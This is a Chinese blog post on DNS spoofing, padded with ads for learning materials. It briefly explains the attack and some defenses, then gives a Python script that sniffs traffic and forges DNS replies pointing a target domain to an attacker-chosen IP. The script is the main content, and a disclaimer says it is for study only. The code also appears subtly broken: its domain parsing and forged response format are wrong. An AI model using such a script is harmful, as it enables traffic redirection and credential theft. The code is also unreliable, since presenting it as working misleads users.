DNS欺骗攻击与Python实现_python dns欺骗(1)

最新推荐文章于 2024-06-19 18:30:10 发布

2301_82244392

最新推荐文章于 2024-06-19 18:30:10 发布

阅读量259

点赞数 5

分类专栏：程序员文章标签： python 学习面试

本文链接：https://blog.csdn.net/2301_82244392/article/details/138903954

版权

程序员专栏收录该内容

143 篇文章 0 订阅

订阅专栏

学好 Python 不论是就业还是做副业赚钱都不错，但要学会 Python 还是要有一个学习规划。最后大家分享一份全套的 Python 学习资料，给那些想学习 Python 的小伙伴们一点帮助！

一、Python所有方向的学习路线

Python所有方向路线就是把Python常用的技术点做整理，形成各个领域的知识点汇总，它的用处就在于，你可以按照上面的知识点去找对应的学习资源，保证自己学得较为全面。

二、学习软件

工欲善其事必先利其器。学习Python常用的开发软件都在这里了，给大家节省了很多时间。

三、全套PDF电子书

书籍的好处就在于权威和体系健全，刚开始学习的时候你可以只看视频或者听某个人讲课，但等你学完之后，你觉得你掌握了，这时候建议还是得去看一下书籍，看权威技术书籍也是每个程序员必经之路。

四、入门学习视频

我们在看视频学习的时候，不能光动眼动脑不动手，比较科学的学习方法是在理解之后运用它们，这时候练手项目就很适合了。

五、实战案例

光学理论是没用的，要学会跟着一起敲，要动手实操，才能将自己的所学运用到实际当中去，这时候可以搞点实战案例来学习。

六、面试资料

我们学习Python必然是为了找到高薪的工作，下面这些面试题是来自阿里、腾讯、字节等一线互联网大厂最新的面试资料，并且有阿里大佬给出了权威的解答，刷完这一套面试资料相信大家都能找到满意的工作。

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化学习资料的朋友，可以戳这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

一、DNS欺骗攻击的原理

DNS（Domain Name System）是互联网上的一种名称解析系统，它将域名转换成IP地址，让计算机能够找到正确的网络资源。DNS欺骗攻击就是篡改DNS解析结果，将受害者的流量重定向到攻击者控制的恶意网站上。

DNS欺骗攻击的原理就是攻击者伪装成DNS服务器，向受害者发送虚假的DNS响应，告诉受害者请求的域名对应的IP地址是攻击者自己控制的恶意网站的IP地址。这样一来，受害者的流量就会被重定向到恶意网站上，攻击者就可以窃取受害者的个人信息或者进行其他恶意行为。

二、DNS欺骗攻击的防御方法

安装杀毒软件和防火墙：安装杀毒软件和防火墙可以有效避免DNS欺骗攻击。这些软件可以监控网络流量，检测异常的DNS请求和响应，并及时阻断恶意流量。
使用加密协议：使用加密协议可以避免DNS欺骗攻击。例如，HTTPS协议可以通过加密来验证服务器的身份，防止被篡改的DNS响应。
DNSSEC技术：DNSSEC是一种安全扩展协议，它可以增强DNS的安全性，避免DNS欺骗攻击。DNSSEC可以对DNS响应进行数字签名，验证响应的真实性。

三、使用Python代码实现DNS欺骗攻击

下面是一个使用Python代码实现DNS欺骗攻击的简单示例。这个示例的作用是监听网络流量，当受到指定域名的DNS请求时，伪装成DNS服务器，将DNS响应修改为攻击者控制的IP地址。

   ``   ``import socket``import struct``   ``   ``# 监听的DNS请求域名和IP地址``target_domain = 'www.example.com'``target_ip = '192.168.1.100'``   ``   ``def get_dns_header(data):``# 解析DNS请求头部，返回标志位和查询问题数``header = struct.unpack('!6H', data[:12])``flags = header[1]``qdcount = header[2]``return flags, qdcount``   ``   ``def build_dns_response(data):``# 构造DNS响应报文``transaction_id = data[:2]``flags = b'\x81\x80'``qdcount = data[4:6]``ancount = b'\x00\x01'``nscount = b'\x00\x00'``arcount = b'\x00\x00'``query = data[12:]``   ``   ``# 构造DNS响应中的资源记录``response = target_domain.encode('ascii') + b'\x00'``response += b'\x00\x01\x00\x01'``response += b'\xc0\x0c'``response += b'\x00\x01\x00\x01'``response += b'\x00\x00\x00\x32'``response += b'\x00\x04'``response += socket.inet_aton(target_ip)``   ``   ``# 拼接DNS响应报文``dns_response = transaction_id + flags + qdcount + ancount + nscount + arcount + query + response``   ``   ``return dns_response``   ``   ``def main():``# 创建一个原始套接字，监听所有的网络流量``sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IP)``sock.bind(('0.0.0.0', 0))``sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)``sock.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)``   ``   ``while True:``# 接收网络流量``data, addr = sock.recvfrom(65535)``   ``   ``# 解析IP头部，判断协议是否为UDP``ip_header = data[:20]``iph = struct.unpack('!BBHHHBBH4s4s', ip_header)``protocol = iph[6]``if protocol != 17:``continue``   ``   ``# 解析UDP头部，判断是否为DNS请求``udp_header = data[20:28]``udph = struct.unpack('!HHHH', udp_header)``src_port = udph[0]``dst_port = udph[1]``if dst_port != 53:``continue``   ``   ``# 解析DNS请求头部，判断请求域名是否为目标域名``dns_header = get_dns_header(data[28:])``if dns_header[0] & 0x8000 == 0 and dns_header[1] == 1:``query = data[28+12:]``domain = query.split(b'\x00')[0].decode('ascii')``if domain == target_domain:``dns_response = build_dns_response(data[28:])``sock.sendto(dns_response, addr)``   ``   ``if __name__ == '__main__':``main()

请注意，这个示例仅用于学习和研究目的，任何未经授权的使用都是非法的。DNS欺骗攻击是一种违法行为，攻击者可能会面临法律风险和刑事责任。

黑客&网络安全如何学习

今天只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。